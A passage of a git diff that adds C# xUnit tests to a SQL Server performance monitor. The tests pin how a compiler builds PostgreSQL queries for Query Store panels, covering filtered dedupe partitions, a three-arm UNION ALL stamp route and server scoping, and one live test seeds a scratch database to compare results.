+            FROM (SELECT w.*, s.server_name FROM collect.query_store_interval_wide AS w JOIN collect.servers AS s ON s.server_id = w.server_id WHERE w.collection_time >= $1 AND w.collection_time <= $2) AS f
+            WHERE f.collection_time >= $1
+              AND f.collection_time <= $2
+              AND EXISTS (SELECT 1 FROM topn AS t WHERE t.query_hash IS NOT DISTINCT FROM f.query_hash)
+            GROUP BY date_trunc('minute', f.collection_time), f.query_hash
+            ORDER BY bucket DESC
+            LIMIT 10000
+            ) AS capped
+            ORDER BY bucket
+            """;
+        Assert.Equal(Expected.Replace("\r\n", "\n", StringComparison.Ordinal), sql);
+
+        /* The product compiles the same text for it (a query_hash group is not bounded). */
+        Assert.Equal(sql, Sql(Json("query_hash", "minute"), Day, Day.AddDays(1), singleScan: true).Replace("\r\n", "\n", StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData(1.0, 1.0, 0d, true)]
+    [InlineData(1.0, 1.0000001, 0d, false)]
+    [InlineData(1.0, 1.0000001, 1e-6, true)]
+    [InlineData(1.0, 1.01, 1e-6, false)]
+    [InlineData(null, null, 0d, true)]
+    [InlineData(null, 0.0, 1.0, false)]
+    public void TheHarnessComparer_IsExactAtZeroTolerance_AndRelativeAboveIt(double? a, double? b, double tolerance, bool equal) =>
+        Assert.Equal(equal, QueryStoreRankedHarness.ValuesEqual(a, b, tolerance));
+}
diff --git a/Darling/Darling.Tests/ComposeQueryStoreRawDedupeFilterLiveTests.cs b/Darling/Darling.Tests/ComposeQueryStoreRawDedupeFilterLiveTests.cs
new file mode 100644
index 0000000000..af65ddb456
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeQueryStoreRawDedupeFilterLiveTests.cs
@@ -0,0 +1,342 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only
+   to CREATE and DROP its own database through ScratchPostgres, then works entirely inside it, so it cannot race
+   live collection.
+
+   #4605: a filtered raw Query Store panel ranks only the partitions that hold a matching row. Every pin runs
+   the product's compiler and compares the rows with the same panel computed the unrestricted way (today's
+   dedupe text, run on the same seed). */
+public sealed class ComposeQueryStoreRawDedupeFilterLiveTests
+{
+    private const int ServerId1 = -46061;
+    private const int ServerId2 = -46062;
+    private const string ServerName1 = "qsrawfilter-1";
+    private const string ServerName2 = "qsrawfilter-2";
+
+    private static readonly DateTime WindowStart = new(2026, 8, 1, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime WindowEnd = WindowStart.AddHours(6);
+
+    private const string Marker = " AND EXISTS (SELECT 1 FROM (SELECT DISTINCT";
+
+    [Fact]
+    public void FilteredRawPanel_CarriesThePartitionRestriction_AndAnUnfilteredPanelIsUnchanged()
+    {
+        var context = new ComposeRunContext(null, WindowStart, WindowEnd, ComposeRunContext.NoVariables, RollupAvailability.None, WindowEnd, RollupCoverage.Unknown, QueryStoreWideEligible: false);
+
+        var filtered = CompileSql(Plan("[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_A\"}]"), context);
+        Assert.Contains(Marker, filtered, StringComparison.Ordinal);
+        Assert.Contains("IS NOT DISTINCT FROM", filtered, StringComparison.Ordinal);
+        Assert.Contains(") AS qs_ranked WHERE qs_rn = 1)", filtered, StringComparison.Ordinal);
+
+        var unfiltered = CompileSql(Plan(null), context);
+        Assert.Contains(
+            "(SELECT * FROM (SELECT *, ROW_NUMBER() OVER (PARTITION BY server_id, server_name, database_name, "
+            + "query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role "
+            + "ORDER BY collection_time DESC, execution_count DESC) AS qs_rn "
+            + "FROM collect.query_store_stats WHERE collection_time >= $1 AND collection_time <= $2) AS qs_ranked WHERE qs_rn = 1)",
+            unfiltered, StringComparison.Ordinal);
+        Assert.DoesNotContain("IS NOT DISTINCT FROM", unfiltered, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PartitionColumnOnlyFilters_CompileByteIdenticalToTheUnrestrictedDedupe()
+    {
+        var context = new ComposeRunContext(null, WindowStart, WindowEnd, ComposeRunContext.NoVariables, RollupAvailability.None, WindowEnd, RollupCoverage.Unknown, QueryStoreWideEligible: false);
+        const string relationStart = "(SELECT * FROM (SELECT *, ROW_NUMBER";
+        const string relationEnd = ") AS qs_ranked WHERE qs_rn = 1)";
+        string Relation(string sql)
+        {
+            var a = sql.IndexOf(relationStart, StringComparison.Ordinal);
+            var b = sql.IndexOf(relationEnd, a, StringComparison.Ordinal);
+            return sql.Substring(a, b + relationEnd.Length - a);
+        }
+
+        var baseline = Relation(CompileSql(Plan(null), context));
+        foreach (var filter in new[]
+        {
+            "[{\"dimension\":\"database_name\",\"op\":\"eq\",\"value\":\"qsA\"}]",
+            "[{\"dimension\":\"server\",\"op\":\"eq\",\"value\":\"qsrawfilter-1\"}]",
+        })
+        {
+            var sql = CompileSql(Plan(filter), context);
+            Assert.Equal(baseline, Relation(sql));
+            Assert.DoesNotContain("IS NOT DISTINCT FROM", sql, StringComparison.Ordinal);
+        }
+
+        /* a non-partition filter alongside a partition one still restricts */
+        Assert.Contains(Marker, CompileSql(Plan("[{\"dimension\":\"database_name\",\"op\":\"eq\",\"value\":\"qsA\"},{\"dimension\":\"query_hash\",\"op\":\"eq\",\"value\":\"0x1\"}]"), context), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Restriction_IsAHashableSemiJoin_NotAnInOrExists()
+    {
+        var context = new ComposeRunContext(null, WindowStart, WindowEnd, ComposeRunContext.NoVariables, RollupAvailability.None, WindowEnd, RollupCoverage.Unknown, QueryStoreWideEligible: false);
+        var sql = CompileSql(Plan("[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_A\"}]"), context);
+        var start = sql.IndexOf(Marker, StringComparison.Ordinal);
+        var end = sql.IndexOf(") AS qs_ranked", StringComparison.Ordinal);
+        Assert.True(start > 0 && end > start, "the compiled SQL must carry the restriction");
+        var restriction = sql.Substring(start, end - start);
+
+        Assert.DoesNotContain(" IN (SELECT", restriction, StringComparison.Ordinal);
+        Assert.DoesNotContain(" OR ", restriction, StringComparison.Ordinal);
+        Assert.Contains("coalesce(k.replica_role, '') = coalesce(query_store_stats.replica_role, '')", restriction, StringComparison.Ordinal);
+        Assert.Contains("k.replica_role IS NOT DISTINCT FROM query_store_stats.replica_role", restriction, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task FilteredRawPanel_EqualsTheUnrestrictedDedupe_AcrossRenameNullKeyAndInFilter()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4605 raw dedupe filter live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId1, ServerName1, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId2, ServerName2, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+        await SeedAsync(runner, ServerId1, ServerName1, ct);
+        await SeedAsync(runner, ServerId2, ServerName2, ct);
+
+        var rollups = await TimescaleSupport.DetectRollupsAsync(postgres, ct);
+        var coverage = await TimescaleSupport.DetectRollupCoverageAsync(postgres, rollups, ct);
+        var context = new ComposeRunContext(null, WindowStart, WindowEnd, ComposeRunContext.NoVariables, rollups, WindowEnd, coverage, QueryStoreWideEligible: false);
+
+        /* the seed really holds a two-name partition and a NULL-role partition */
+        Assert.Equal(2L, await ScalarAsync(connection,
+            "SELECT count(DISTINCT module_name) FROM collect.query_store_stats WHERE query_id = 20 AND server_id = " + ServerId1, ct));
+        Assert.True(await ScalarAsync(connection,
+            "SELECT count(*) FROM collect.query_store_stats WHERE query_id = 30 AND replica_role IS NULL", ct) > 0);
+
+        var cases = new (string Name, string Filters)[]
+        {
+            ("multi-module, one module", "[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_Orders\"}]"),
+            ("rename: old name", "[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_Old\"}]"),
+            ("rename: new name", "[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_New\"}]"),
+            ("NULL key partition", "[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_NullRole\"}]"),
+            ("IN filter", "[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":[\"usp_Orders\",\"usp_Old\"]}]"),
+            ("database filter", "[{\"dimension\":\"database_name\",\"op\":\"eq\",\"value\":\"qsB\"}]"),
+            ("neq filter", "[{\"dimension\":\"module_name\",\"op\":\"neq\",\"value\":\"usp_Orders\"}]"),
+            ("like filter", "[{\"dimension\":\"module_name\",\"op\":\"like\",\"value\":\"usp_Em%\"}]"),
+            ("empty-string role key", "[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_Empty\"}]"),
+            ("out-of-window row", "[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_Early\"}]"),
+        };
+
+        foreach (var (name, filters) in cases)
+        {
+            foreach (var groupBy in new[] { "module_name", "query_hash" })
+            {
+                var plan = Plan(filters, groupBy);
+                Assert.Equal(!name.StartsWith("database", StringComparison.Ordinal), CompileSql(plan, context).Contains(Marker, StringComparison.Ordinal));
+                var pushed = await RunAsync(connection, CompileSql(plan, context), plan, context, strip: false, ct);
+                var unrestricted = await RunAsync(connection, CompileSql(plan, context), plan, context, strip: true, ct);
+                Assert.True(pushed.SequenceEqual(unrestricted, StringComparer.Ordinal),
+                    $"{name} (group by {groupBy}): restricted [{string.Join(";", pushed)}] != unrestricted [{string.Join(";", unrestricted)}]");
+            }
+        }
+
+        /* the rename's old name yields no row: the newest snapshot of that partition carries the new name */
+        var oldPlan = Plan(cases[1].Filters, "module_name");
+        Assert.Empty(await RunAsync(connection, CompileSql(oldPlan, context), oldPlan, context, strip: true, ct));
+
+        /* Over-inclusion is invisible in the panel's rows (the outer filter drops a survivor that does not match),
+           so the TIGHTNESS of the restriction is pinned on the dedupe relation's own survivors: exactly the
+           partitions holding an in-window, in-scope matching row. */
+        var unscoped = Plan("[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_Empty\"}]");
+        Assert.Equal(new[] { $"{ServerId1}|40|" }.Concat(new[] { $"{ServerId2}|40|" }).OrderBy(x => x, StringComparer.Ordinal),
+            await SurvivorsAsync(connection, unscoped, context, ct));
+
+        Assert.Empty(await SurvivorsAsync(connection, Plan("[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_Early\"}]"), context, ct));
+
+        Assert.Equal(new[] { $"{ServerId1}|61|primary" },
+            await SurvivorsAsync(connection, Plan("[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_Dual\"}]"), context, ct));
+
+        /* neq / like: the restriction must carry those operators too. usp_Orders is the ONLY module of queries
+           10 and 12, so a neq panel must not rank them; a like panel must rank only the usp_Em* partitions. */
+        var neqSurvivors = await SurvivorsAsync(connection, Plan(cases[6].Filters), context, ct);
+        Assert.DoesNotContain(neqSurvivors, x => x.Contains("|10|", StringComparison.Ordinal) || x.Contains("|12|", StringComparison.Ordinal));
+        Assert.Contains(neqSurvivors, x => x.Contains("|11|", StringComparison.Ordinal));
+        var likeSurvivors = await SurvivorsAsync(connection, Plan(cases[7].Filters), context, ct);
+        Assert.DoesNotContain(likeSurvivors, x => x.Contains("|11|", StringComparison.Ordinal));
+        Assert.Contains(likeSurvivors, x => x.Contains("|40|", StringComparison.Ordinal));
+
+        var scoped = context with { Servers = new[] { ServerName1 } };
+        var scopedPlan = Plan("[{\"dimension\":\"module_name\",\"op\":\"eq\",\"value\":\"usp_Scoped\"}]");
+        Assert.Empty(await SurvivorsAsync(connection, scopedPlan, scoped, ct));
+        Assert.Equal(new[] { $"{ServerId2}|60|primary" }, await SurvivorsAsync(connection, scopedPlan, context, ct));
+        var scopedRun = await RunAsync(connection, CompileSql(scopedPlan, scoped), scopedPlan, scoped, strip: false, ct);
+        Assert.True(scopedRun.SequenceEqual(await RunAsync(connection, CompileSql(scopedPlan, scoped), scopedPlan, scoped, strip: true, ct), StringComparer.Ordinal));
+
+        /* a measure filter is not part of the catalog's filter model (dimensions only), so none can be pushed */
+    }
+
+    /* The dedupe relation's survivors as "server_id|query_id|replica_role", parameters kept referenced. */
+    private static async Task<List<string>> SurvivorsAsync(NpgsqlConnection connection, PanelPlan plan, ComposeRunContext context, CancellationToken ct)
+    {
+        var (compiled, error) = ComposeCompiler.Compile(plan, context);
+        Assert.True(error is null, error);
+        var sql = compiled!.Sql;
+        var start = sql.IndexOf("(SELECT * FROM (SELECT *, ROW_NUMBER", StringComparison.Ordinal);
+        const string tail = ") AS qs_ranked WHERE qs_rn = 1)";
+        var end = sql.IndexOf(tail, start, StringComparison.Ordinal);
+        Assert.True(start >= 0 && end > start, "the compiled SQL must carry the dedupe relation");
+        var relation = sql.Substring(start, end + tail.Length - start);
+        var text = "SELECT r.server_id, r.query_id, r.replica_role FROM " + relation + " AS r WHERE true"
+            + string.Concat(Enumerable.Range(1, compiled.Parameters.Count).Select(n => $" AND (${n} IS NULL OR true)"));
+        var rows = new List<string>();
+        await using var command = new NpgsqlCommand(text, connection);
+        foreach (var p in compiled.Parameters)
+        {
+            command.Parameters.Add(p);
+        }
+
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add($"{reader.GetInt32(0)}|{reader.GetInt64(1)}|{(reader.IsDBNull(2) ? "<null>" : reader.GetString(2))}");
+        }
+
+        rows.Sort(StringComparer.Ordinal);
+        return rows;
+    }
+
+    private static string CompileSql(PanelPlan plan, ComposeRunContext context)
+    {
+        var (compiled, error) = ComposeCompiler.Compile(plan, context);
+        Assert.True(error is null, error);
+        return compiled!.Sql;
+    }
+
+    private static PanelPlan Plan(string? filters, string groupBy = "module_name")
+    {
+        var json = "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"topN\":50,\"groupBy\":[\"" + groupBy + "\"],\"viz\":\"table\""
+            + (filters is null ? string.Empty : ",\"filters\":" + filters) + "}";
+        var (plan, error) = ComposeSpec.TryParsePanel((JsonObject)JsonNode.Parse(json)!, Array.Empty<string>());
+        Assert.True(error is null, error);
+        return plan!;
+    }
+
+    /* strip=true runs today's text: the restriction removed from the same compiled SQL. */
+    private static async Task<List<string>> RunAsync(
+        NpgsqlConnection connection, string sql, PanelPlan plan, ComposeRunContext context, bool strip, CancellationToken ct)
+    {
+        if (strip)
+        {
+            var start = sql.IndexOf(Marker, StringComparison.Ordinal);
+            var end = sql.IndexOf(") AS qs_ranked", StringComparison.Ordinal);
+            if (start > 0)
+            {
+                sql = sql.Remove(start, end - start);
+            }
+        }
+
+        var (compiled, _) = ComposeCompiler.Compile(plan, context);
+        var rows = new List<string>();
+        await using var command = new NpgsqlCommand(sql, connection);
+        foreach (var p in compiled!.Parameters)
+        {
+            command.Parameters.Add(p);
+        }
+
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            var values = new string[reader.FieldCount];
+            for (var i = 0; i < reader.FieldCount; i++)
+            {
+                values[i] = reader.IsDBNull(i) ? "<null>" : Convert.ToString(reader.GetValue(i), System.Globalization.CultureInfo.InvariantCulture)!;
+            }
+
+            rows.Add(string.Join("|", values));
+        }
+
+        rows.Sort(StringComparer.Ordinal);
+        return rows;
+    }
+
+    private static async Task<long> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    private static async Task SeedAsync(DarlingCollectorRunner runner, int serverId, string serverName, CancellationToken ct)
+    {
+        var context = new CollectorContext { ServerId = serverId, ServerName = serverName, CollectionTime = DateTime.UtcNow, Deltas = new CollectorDeltaCalculator() };
+        var server = new ServerRuntime
+        {
+            Config = new MonitoredServer { Name = serverName, Host = serverName },
+            ConnectionString = "Server=" + serverName,
+            Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+            StorageName = serverName,
+            ServerId = serverId,
+            EngineEdition = 3,
+        };
+
+        async Task WriteAsync(DateTime collectionTime, QueryStoreCollector.Row row) =>
+            await runner.WriteBackfillBatchAsync(QueryStoreCollector.Instance, new List<QueryStoreCollector.Row> { row }, server, collectionTime, context, ct);
+
+        QueryStoreCollector.Row Row(string database, long queryId, long intervalId, DateTime first, long executions, string module, string? role) => new()
+        {
+            DatabaseName = database,
+            QueryId = queryId,
+            PlanId = queryId * 10,
+            ExecutionTypeDesc = "Regular",
+            FirstExecutionTime = first,
+            LastExecutionTime = first.AddMinutes(4),
+            QueryHash = "0x" + queryId.ToString("X8", System.Globalization.CultureInfo.InvariantCulture),
+            QueryPlanHash = "0x" + (queryId * 10).ToString("X8", System.Globalization.CultureInfo.InvariantCulture),
+            ExecutionCount = executions,
+            AvgCpuTimeUs = 100,
+            AvgDurationUs = 200,
+            MaxDurationUs = 400,
+            MaxCpuTimeUs = 200,
+            ModuleName = module,
+            IsForcedPlan = false,
+            ForceFailureCount = 0,
+            ReplicaRole = role,
+            RuntimeStatsIntervalId = intervalId,
+            IntervalStartTimeUtc = first,
+        };
+
+        var t0 = WindowStart.AddHours(1);
+        /* several modules, open interval re-fetched (growing counts) */
+        await WriteAsync(t0.AddMinutes(5), Row("qsA", 10, 100, t0, 3, "usp_Orders", "primary"));
+        await WriteAsync(t0.AddMinutes(20), Row("qsA", 10, 100, t0, 9, "usp_Orders", "primary"));
+        await WriteAsync(t0.AddMinutes(6), Row("qsA", 11, 100, t0, 5, "usp_Other", "primary"));
+        await WriteAsync(t0.AddMinutes(7), Row("qsB", 12, 100, t0, 6, "usp_Orders", "primary"));
+        /* a rename mid-window: ONE partition key, older snapshot under usp_Old, newer under usp_New */
+        await WriteAsync(t0.AddMinutes(5), Row("qsA", 20, 200, t0, 4, "usp_Old", "primary"));
+        await WriteAsync(t0.AddMinutes(25), Row("qsA", 20, 200, t0, 777, "usp_New", "primary"));
+        /* a partition whose role key is NULL, re-fetched */
+        await WriteAsync(t0.AddMinutes(5), Row("qsA", 30, 300, t0, 2, "usp_NullRole", null));
+        await WriteAsync(t0.AddMinutes(25), Row("qsA", 30, 300, t0, 8, "usp_NullRole", null));
+        /* one key family, role '' vs NULL: only the '' partition matches usp_Empty (a coalesce collision, not equality) */
+        await WriteAsync(t0.AddMinutes(5), Row("qsA", 40, 400, t0, 2, "usp_Empty", ""));
+        await WriteAsync(t0.AddMinutes(6), Row("qsA", 40, 400, t0, 3, "usp_Blank", null));
+        /* a matching row BEFORE the window, in a partition whose in-window survivor has another module */
+        await WriteAsync(WindowStart.AddHours(-2), Row("qsA", 50, 500, t0, 1, "usp_Early", "primary"));
+        await WriteAsync(t0.AddMinutes(10), Row("qsA", 50, 500, t0, 5, "usp_Late", "primary"));
+        /* the same key on both servers, the module differing: the server scope must narrow (60). Dropping server_id alone is not observable here, because server_name is also a key and maps 1:1 to it (61). */
+        await WriteAsync(t0.AddMinutes(10), Row("qsA", 60, 600, t0, 4, serverId == ServerId2 ? "usp_Scoped" : "usp_Plain", "primary"));
+        await WriteAsync(t0.AddMinutes(10), Row("qsA", 61, 610, t0, 4, serverId == ServerId1 ? "usp_Dual" : "usp_Plain2", "primary"));
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeQueryStoreStampCompileTests.cs b/Darling/Darling.Tests/ComposeQueryStoreStampCompileTests.cs
new file mode 100644
index 0000000000..acf4de1a26
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeQueryStoreStampCompileTests.cs
@@ -0,0 +1,359 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 part 3: compile-level pins for the Query Store stamp route. When the runner supplies
+/// <see cref="ComposeRunContext.QueryStoreStampThrough"/> and every partial the panel needs has a rollup column, the wide read's
+/// fact relation becomes ONE FROM item of three <c>UNION ALL</c> arms (the rollup, the stale pairs, the tail) over partial rows,
+/// and every value is the combine form over the partial columns. Nothing here opens a connection; the live proof that these texts
+/// return the wide-table numbers is the lane 4 live classes.
+/// </summary>
+public sealed class ComposeQueryStoreStampCompileTests
+{
+    private static readonly DateTime Day = new(2026, 10, 7, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static readonly Regex s_relation = new(@"FROM \((SELECT f\.server_id, .*?)\) AS f\r?\n", RegexOptions.Singleline | RegexOptions.CultureInvariant);
+
+    private static ComposeRunContext Context(
+        DateTime start, DateTime end, DateTime? stampThrough, DateTime? wideStart = null, bool wide = true, IReadOnlyList<string>? servers = null) =>
+        new(servers, start, end, ComposeRunContext.NoVariables, RollupAvailability.None, end, RollupCoverage.Unknown,
+            QueryStoreWideEligible: wide, QueryStoreWideStart: wideStart, QueryStoreGroupMembers: 10, QueryStoreStampThrough: stampThrough);
+
+    private static ComposeCompiled Compile(
+        string json, ComposeRunContext context, bool singleScan = true, Func<string, string?>? stampColumns = null)
+    {
+        var plan = QueryStoreRankedHarness.Parse(json);
+        var (compiled, error) = ComposeCompiler.CompileCore(plan, context, singleScan, stampColumns);
+        Assert.True(error is null, error);
+        return compiled!;
+    }
+
+    private static string Panel(string measureKey, string? aggregate, string shape)
+    {
+        var kind = MeasureCatalog.Measure(measureKey)!.Kind == MeasureKind.Ratio ? "ratio" : "measure";
+        var aggregateJson = aggregate is null ? string.Empty : $",\"aggregate\":\"{aggregate}\"";
+        return $"{{\"source\":\"query_store_stats\",\"{kind}\":\"{measureKey}\"{aggregateJson}{shape}}}";
+    }
+
+    private static string TopQueriesOverTime(string measure = "qs_total_cpu_us") =>
+        Panel(measure, null, ",\"timeBucket\":\"minute\",\"topN\":10,\"groupBy\":[\"query_hash\"],\"viz\":\"line\"");
+
+    private static int Occurrences(string text, string needle) =>
+        (text.Length - text.Replace(needle, string.Empty, StringComparison.Ordinal).Length) / needle.Length;
+
+    /// <summary>The fact relations of a statement, one per scan of the fact rows.</summary>
+    private static List<string> Relations(string sql) =>
+        s_relation.Matches(sql).Select(m => m.Groups[1].Value).ToList();
+
+    [Fact]
+    public void TheStampRoute_ReadsThreeArms_WithTheDesignsBounds()
+    {
+        var through = Day.AddHours(20);
+        var compiled = Compile(TopQueriesOverTime(), Context(Day, Day.AddDays(1), through));
+        var relations = Relations(compiled.Sql);
+        Assert.Equal(2, relations.Count);   /* query_hash is unbounded, so the rank and the series each scan */
+        Assert.Equal(relations[0], relations[1]);
+
+        var relation = relations[0];
+        var arms = relation.Split(" UNION ALL ", StringSplitOptions.None);
+        Assert.Equal(3, arms.Length);
+
+        /* Parameters: $1 start, $2 end, $3 stampThrough (no wide start bound: it is not later than the window), $4 topN. */
+        Assert.Equal(4, compiled.Parameters.Count);
+        Assert.Equal(DateTime.SpecifyKind(through, DateTimeKind.Unspecified), compiled.Parameters[2].Value);
+
+        var rollup = arms[0];
+        Assert.Contains("FROM collect.query_store_compose_stamp AS f JOIN collect.servers AS s ON s.server_id = f.server_id", rollup, StringComparison.Ordinal);
+        Assert.Contains("f.collection_time >= $1 AND f.collection_time < $3", rollup, StringComparison.Ordinal);
+        Assert.Contains(
+            "EXISTS (SELECT 1 FROM collect.query_store_compose_stamp_built AS b WHERE b.server_id = f.server_id AND b.hour = date_trunc('hour', f.collection_time) AND b.built_seq = b.late_seq)",
+            rollup, StringComparison.Ordinal);
+
+        var stale = arms[1];
+        Assert.Contains("FROM collect.query_store_compose_stamp_built AS b CROSS JOIN LATERAL (SELECT w.* FROM collect.query_store_interval_wide AS w", stale, StringComparison.Ordinal);
+        Assert.Contains("w.server_id = b.server_id AND w.collection_time >= b.hour AND w.collection_time < b.hour + interval '1 hour'", stale, StringComparison.Ordinal);
+        Assert.Contains("w.collection_time >= $1 AND w.collection_time < $3 OFFSET 0) AS f", stale, StringComparison.Ordinal);
+        Assert.Contains("b.hour >= date_trunc('hour', $1) AND b.hour < $3 AND b.built_seq IS DISTINCT FROM b.late_seq", stale, StringComparison.Ordinal);
+
+        /* The tail starts at $stampThrough (never the window start) and ends at the window end, inclusive as the wide read is. */
+        var tail = arms[2];
+        Assert.Contains("FROM collect.query_store_interval_wide AS f JOIN collect.servers AS s ON s.server_id = f.server_id", tail, StringComparison.Ordinal);
+        Assert.EndsWith("WHERE f.collection_time >= $3 AND f.collection_time <= $2", tail, StringComparison.Ordinal);
+        Assert.DoesNotContain("f.collection_time >= $1", tail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheWideStart_WhenLaterThanTheWindow_BoundsTheRollupAndTheStaleArms_AndTheTailStillStartsAtStampThrough()
+    {
+        var wideStart = Day.AddHours(3);
+        var compiled = Compile(TopQueriesOverTime(), Context(Day, Day.AddDays(1), Day.AddHours(20), wideStart));
+        var relation = Relations(compiled.Sql)[0];
+        var arms = relation.Split(" UNION ALL ", StringSplitOptions.None);
+
+        /* $1 start, $2 end, $3 wideStart, $4 stampThrough. */
+        Assert.Contains("f.collection_time >= $3 AND f.collection_time < $4", arms[0], StringComparison.Ordinal);
+        Assert.Contains("w.collection_time >= $3 AND w.collection_time < $4 OFFSET 0) AS f", arms[1], StringComparison.Ordinal);
+        Assert.Contains("b.hour >= date_trunc('hour', $3) AND b.hour < $4", arms[1], StringComparison.Ordinal);
+        Assert.EndsWith("WHERE f.collection_time >= $4 AND f.collection_time <= $2", arms[2], StringComparison.Ordinal);
+        Assert.Equal(5, compiled.Parameters.Count);
+    }
+
+    [Fact]
+    public void TheServerScope_AndThePushableFilters_GoIntoAllThreeArms()
+    {
+        var json = Panel("qs_executions", "sum", ",\"timeBucket\":\"hour\",\"filters\":[{\"dimension\":\"database_name\",\"op\":\"eq\",\"value\":\"Sales\"},{\"dimension\":\"server\",\"op\":\"eq\",\"value\":\"srv-a\"}],\"viz\":\"line\"");
+        var compiled = Compile(json, Context(Day, Day.AddDays(1), Day.AddHours(12), servers: new[] { "srv-a", "srv-b" }));
+        var arms = Relations(compiled.Sql)[0].Split(" UNION ALL ", StringSplitOptions.None);
+        Assert.Equal(3, arms.Length);
+        foreach (var arm in arms)
+        {
+            Assert.Contains("s.server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($3)))", arm, StringComparison.Ordinal);
+            Assert.Contains("f.database_name = ", arm, StringComparison.Ordinal);
+            Assert.Contains("s.server_name = ", arm, StringComparison.Ordinal);
+            Assert.DoesNotContain("f.server_name", arm, StringComparison.Ordinal);
+        }
+
+        /* #5582 part 3: the stale arm also scopes the LEDGER row, so a stale pair of a server out of scope costs no wide-table probe (found
+           on a live plan: the scope over the registry join alone is applied after the lateral). */
+        Assert.Contains("AND b.server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($3)))", arms[1], StringComparison.Ordinal);
+        Assert.DoesNotContain("b.server_id = ANY", arms[0], StringComparison.Ordinal);
+        Assert.DoesNotContain("b.server_id = ANY", arms[2], StringComparison.Ordinal);
+
+        /* The scope is bound once and the stamp bound is the next parameter after it is not: window, stampThrough, scope, filters. */
+        Assert.Equal(6, compiled.Parameters.Count);
+    }
+
+    [Fact]
+    public void TheStampMode_ReadsNoRawMeasureColumnOutsideTheRelation()
+    {
+        foreach (var measure in MeasureCatalog.Measures.Where(m => m.SourceTable == "query_store_stats"))
+        {
+            var agg = measure.Kind == MeasureKind.Ratio ? null : MeasureCatalog.WireName(measure.ValidAggs[0]);
+            var compiled = Compile(Panel(measure.Key, agg, ",\"viz\":\"stat\""), Context(Day, Day.AddDays(1), Day.AddHours(12)));
+            var outside = s_relation.Replace(compiled.Sql, "FROM (RELATION) AS f\n");
+            foreach (var raw in new[] { "execution_count", "avg_duration_us", "avg_cpu_time_us", "max_duration_us", "max_cpu_time_us" })
+            {
+                Assert.True(!outside.Contains(raw, StringComparison.Ordinal), $"{measure.Key}: the statement outside the relation still reads {raw}: {outside}");
+            }
+        }
+    }
+
+    public static IEnumerable<object[]> NoStampCases()
+    {
+        var through = Day.AddHours(20);
+        yield return new object[] { "StampThroughNull", Context(Day, Day.AddDays(1), null), TopQueriesOverTime(), null! };
+        yield return new object[] { "StampThroughAtTheWindowStart", Context(Day, Day.AddDays(1), Day), TopQueriesOverTime(), null! };
+        yield return new object[] { "StampThroughBeforeTheWindowStart", Context(Day, Day.AddDays(1), Day.AddHours(-2)), TopQueriesOverTime(), null! };
+        yield return new object[] { "StampThroughAtTheWideStart", Context(Day, Day.AddDays(1), Day.AddHours(5), Day.AddHours(5)), TopQueriesOverTime(), null! };
